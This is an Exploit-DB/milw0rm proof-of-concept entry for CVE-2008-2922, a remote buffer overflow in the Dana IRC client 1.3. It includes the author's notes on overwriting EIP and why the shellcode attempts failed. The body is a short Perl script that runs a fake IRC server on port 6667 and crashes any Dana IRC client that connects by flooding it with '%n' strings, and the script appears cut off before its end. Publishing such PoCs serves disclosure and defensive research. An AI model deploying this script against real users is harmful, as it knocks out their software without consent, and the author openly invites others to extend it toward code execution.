Dana IRC <= 1.3 - Remote Buffer Overflow PoC

ID EDB-ID:5817
Type exploitdb
Reporter t0pP8uZz
Modified 2008-06-14T00:00:00


Dana IRC <= 1.3 Remote Buffer Overflow PoC. CVE-2008-2922. Dos exploit for windows platform

                                            - Dana IRC &lt;= 1.3 Remote Buffer Overflow POC/Crash -

	Discovered On: 14 JUNE 2008
	Discovered By: t0pP8uZz

	Download: diebestenbits.de

	- Info -

	Dana Irc client suffers from a remote buffer overflow, sending a buffer of around 2k
	overwrites the EIP therefor crashes the client. The reason why there isnt any shellcode here
	is because the client is coverting the junk/buffer data to unicode so its corrupting the shellcode
	ive tried sending unicode buffer but the same problem occurs.
	if anyone else can get further please let me know. but i doubt you can.

	there are also other registers you can overwrite using diffrent junk data to overflow them.

	the peice of perl code below will listen on port 6667 and when a Dana IRC client connects
	it will crash the client. its also possible to send the data direct to the user.

	peace, t0pP8uZz


use IO::Socket;

$sock = IO::Socket::INET-&gt;new( Proto =&gt; 'tcp', LocalPort =&gt; '6667', Listen =&gt; SOMAXCONN, Reuse =&gt; 1 );

$jnk = "%n"x1000;
print "Running..";
while($client = $sock-&gt;accept()) {
    print $client "$jnk\r\n";
    print "Crashed Client!\n";

# milw0rm.com [2008-06-14]